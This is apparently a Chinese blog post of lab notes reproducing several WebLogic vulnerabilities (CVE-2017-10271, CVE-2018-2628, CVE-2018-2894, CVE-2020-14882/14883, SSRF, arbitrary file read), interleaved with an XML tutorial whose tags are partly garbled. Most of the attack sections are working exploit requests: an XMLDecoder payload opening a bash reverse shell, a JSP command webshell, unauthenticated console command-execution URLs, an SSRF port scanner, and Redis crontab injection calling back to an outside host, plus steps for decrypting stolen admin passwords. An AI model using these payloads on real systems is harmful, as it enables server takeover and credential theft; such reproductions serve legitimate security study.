weblogic漏洞复现及xml学习
前言:
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。
WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
https://www.yuque.com/yq1ng/java/ipezty
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
https://paper.seebug.org/487/
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
docker-compose up -d

一时半会是下载不完了@—_—
~_~
等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。

漏洞复现

发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.33.129/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功获取shell:

写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[
<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
别人比较详细的复现 https://blog.csdn.net/yumengzth/article/details/97522783
这个厉害,还带调试的 http://www.wxylyw.com/2018/11/03/WebLogic-XMLDecoder反序列化漏洞/
xml 简单学习
XML教程 https://www.w3school.com.cn/xml/index.asp
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签 ↓。

XML 是不作为的
也许这有点难以理解,但是 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
下面是 John 写给 George 的便签,存储为 XML:
<note>
<to>Georgeto>
<from>Johnfrom>
<heading>Reminderheading>
<body>Don't forget the meeting!body>
note>
上面的这条便签具有自我描述性。它拥有标题以及留言,同时包含了发送者和接受者的信息。
但是,这个 XML 文档仍然没有做任何事情。它仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档。
使用几行 JavaScript,你就可以读取一个外部 XML 文件,然后更新 HTML 中的数据内容。
- XML 的属性值须加引号
单引号和双引号均可使用
<note date="08/08/2008">

- 实体引用
在 XML 中,一些字符拥有特殊的意义。如果你把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。为了避免这个错误,请用实体引用来代替 “<” 字符:
<message>if salary < 1000 thenmessage>

3. 属性

4. 验证xml


XML Schema :一种基于 XML 的 DTD 代替者:
XML Schema 可描述 XML 文档的结构。
XML Schema 语言也可作为 XSD(XML Schema Definition)来引用。
<xs:element name="note"><xs:complexType><xs:sequence><xs:element name="to" type="xs:string"/><xs:element name="from" type="xs:string"/><xs:element name="heading" type="xs:string"/><xs:element name="body" type="xs:string"/>xs:sequence>
xs:complexType>xs:element>
- 使用 CSS 显示 XML
,把这个 XML 文件链接到 CSS 文件: - 使用 XSLT 显示 XML

- XMLHttpRequest 对象
用于在后台与服务器交换数据。XMLHttpRequest 对象是开发者的梦想,因为您能够:
1) 在不重新加载页面的情况下更新网页
2) 在页面已加载后从服务器请求数据
3)在页面已加载后从服务器接收数据
4)在后台向服务器发送数据
所有现代浏览器 (IE7+、Firefox、Chrome、Safari 以及 Opera) 都内建了 XMLHttpRequest 对象。
通过一行简单的 JavaScript 代码,我们就可以创建 XMLHttpRequest 对象。
xmlhttp=new XMLHttpRequest();
- XML 解析器
所有现代浏览器都内建了供读取和操作 XML 的 XML 解析器。
解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 操作、访问的 XML DOM 对象。
解析 XML 文档
下面的代码片段把 XML 文档解析到 XML DOM 对象中:
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixmlhttp=new XMLHttpRequest();}
else{// code for IE6, IE5xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}xmlhttp.open("GET","books.xml",false);
xmlhttp.send();
xmlDoc=xmlhttp.responseXML;

其他方法 1:通过微软的 XML 解析器来加载 XML
微软的 XML 解析器内建于 Internet Explorer 5 以及更高的版本中。
下面的 JavaScript 片段把一个 XML 文档载入解析器中:
var xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async="false";
xmlDoc.load("note.xml");
上面代码的第一个行创建一个空的微软 XML 文档对象。
第二行关闭异步加载,这样确保在文档完全加载之前解析器不会继续脚本的执行。
第三行告知解析器加载名为 “note.xml” 的 XML 文档。

9. XML DOM
(XML Document Object Model) 定义了访问和操作 XML 文档的标准方法。
DOM 把 XML 文档作为树结构来查看。能够通过 DOM 树来访问所有元素。可以修改或删除它们的内容,并创建新的元素。
元素,它们的文本,以及它们的属性,都被认为是节点。
在下面的例子中,我们使用 DOM 引用从 元素中获取文本:
xmlDoc.getElementsByTagName("to")[0].childNodes[0].nodeValue
xmlDoc -由解析器创建的 XML 文档
getElementsByTagName(“to”)[0] - 第一个 元素
childNodes[0] - 元素的第一个子元素(文本节点)
nodeValue - 节点的值(文本本身)


- XML to HTML
把 XML 数据显示为 HTML。
本例遍历一个 XML 文件 (cd_catalog.xml),然后把每个 CD 元素显示为一个 HTML 表格行:
<html>
<body><script type="text/javascript">
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixmlhttp=new XMLHttpRequest();}
else{// code for IE6, IE5xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
xmlhttp.open("GET","cd_catalog.xml",false);
xmlhttp.send();
xmlDoc=xmlhttp.responseXML;document.write("");
var x=xmlDoc.getElementsByTagName("CD");
for (i=0;i<x.length;i++){document.write("");document.write(x[i].getElementsByTagName("ARTIST")[0].childNodes[0].nodeValue);document.write(" ");document.write(x[i].getElementsByTagName("TITLE")[0].childNodes[0].nodeValue);document.write(" ");}
document.write("
");
script>body>
html>
TIY:在 HTML 表格中显示 XML 数据。
例子解释:
检测浏览器,然后使用合适的解析器来加载 XML
创建一个 HTML 表格( 结束表格)
使用 getElementsByTagName() 来获得所有 XML 的 CD 节点
针对每个 CD 节点,把 ARTIST 和 TITLE 中的数据显示为表格数据
用
导航浏览xml数据
- XML 命名空间
Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据,
服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机.
T3协议在开放WebLogic控制台端口的应用上默认开启.
weblogic对rmi规范的实现叫T3协议
T3传输协议是WebLogic的自有协议,它有如下特点:
1、服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
2、通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.
https://blog.csdn.net/xuandao_ahfengren/article/details/106597145

漏洞复现:https://www.cnblogs.com/Found404/p/14179163.html
- 在192.168.33.1攻击机win10上使用ysoserial-cve-2018-2628工具,监听端口3333,启动一个JRMP Server
java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener 3333 Jdk7u21 "touch /tmp/test"
注:jdk版本只要大于1.7,直接填Jdk7u21就可以了

2. 在攻击机执行exploit.py ,向目标Weblogic(http://your-ip:7001)发送数据包:
python27 exploit.py 192.168.33.130 7001 ysoserial-0.1-cve-2018-2628-all.jar 192.168.33.1 3333 JRMPClient
出现这种情况 ↑ 代表已经成功!如果没成功可能有2个原因:
(1)python版本不对,脚本执行报错,建议使用python2
(2)主机防火墙开着,靶机可能访问不了主机监听的端口,可以试着直接关掉防火墙

- 在靶机查看,test文件被创建成功
docker-compose exec weblogic bash进入容器

Ctrl+D 退出容器
Weblogic 任意文件上传漏洞(CVE-2018-2894)
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do
ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证
访问http://your-ip:7001/console,即可看到后台登录页面。
执行docker-compose logs | grep password可查看管理员密码dZZd9rBR,管理员用户名为weblogic。

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:


漏洞复现
访问http://your-ip:7001/ws_utc/config.do,
设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,因为访问这个目录是无需权限的,这一点很重要。
然后点击安全 -> 增加,然后上传webshell:

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "\n
");Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr); disr = dis.readLine(); }}
%>
</pre>
</BODY></HTML>
上传后,查看返回的数据包,其中有时间戳:

访问http://192.168.33.130:7001/ws_utc/css/config/keystore/1637658490425_chybeta.jsp
[时间戳]_[文件名],即可执行webshell:没有成功

上传冰蝎ma试试
WebLogic管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
https://blog.csdn.net/qq_41901122/article/details/111283269
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md

启动一个Weblogic 12.2.1.3版本的服务器。
http://your-ip:7001/console 即可查看到后台登录页面。
漏洞复现
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:
此时需要利用到第二个漏洞CVE-2020-14883。
这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
直接 访问 如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
?_nfpb=true
&_pageLabel=HomePage1
&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27notepad.exe%27);%22)
进入容器,可以发现touch /tmp/success1已成功执行:

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要 构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如 http://example.com/rce.xml:
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bashvalue><value>-cvalue><value>value>list>constructor-arg>bean>
beans>
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

源码分析 https://www.cnblogs.com/unicodeSec/p/13895120.html

Weblogic SSRF漏洞
https://www.cnblogs.com/bmjoker/p/9759761.html
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),
更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。
所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了
利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

SSRF漏洞测试
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。

访问一个可以访问的IP:PORT,如http://127.0.0.1:80:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
通过错误的不同,可探测内网状态。
可访问的端口 将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type。
修改为一个 不存在的端口,将会返回could not connect over HTTP to server。
我的都是返回这个,都没复现成功

注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),
一个python 脚本来实现内网端口探测这个功能:
import thread
import time
import re
import requestsdef ite_ip(ip):for i in range(1, 256):final_ip = '{ip}.{i}'.format(ip=ip, i=i)print final_ipthread.start_new_thread(scan, (final_ip,))time.sleep(3)def scan(final_ip):ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')for port in ports:vul_url = 'http://192.168.33.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)try:#print vul_urlr = requests.get(vul_url, timeout=15, verify=False)result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)result2 = re.findall('but could not connect', r.content)result3 = re.findall('No route to host', r.content) if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:print '[!]'+final_ip + ':' + portexcept Exception, e:passif __name__ == '__main__':ip = "172.18.0" if ip:print ipite_ip(ip)else:print "no ip"
发现172.18.0.2:6379可以连通:
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功反弹:
最后补充一下,可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos 系统下root用户的cron文件
/var/spool/cron/crontabs/root debian 系统下root用户的cron文件
weblogic文件读取漏洞
Weblogic 常规渗透测试环境
测试环境
本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
Weblogic版本:10.3.6(11g)
Java版本:1.6
弱口令 (假装不知道) :
weblogic
Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
任意文件读取漏洞的利用
假设不知道弱口令,如何对weblogic进行渗透?
通过 本环境前台模拟的一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。

那么,该漏洞如何利用?
读取后台用户密文与密钥文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。
这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。
SerializedSystemIni.dat 是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。
在burp里选中读取到的那一串乱码,右键 copy to file 就可以保存成一个文件 xx.dat:

config.xml 是 base_domain 的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
解密密文
然后使用本环境的decrypt目录下的 weblogic_decrypt.jar,解密密文:我没解密出来

可见,解密后和我预设的密码一致,说明成功。
后台上传webshell
获取到管理员密码后,登录后台 我登录不进去 。点击左侧的部署,可见一个应用列表:
点击安装,选择“上载文件”:
上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/hello.war这个压缩包中,再上传。上传成功后点下一步。
填写应用名称:
继续一直 “下一步”,最后点完成。
应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了/hello这个目录,所以你要在本测试环境下部署shell,需要修改这个目录,比如修改成/jspspy):
成功获取webshell:
https://www.freebuf.com/articles/web/247447.html
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
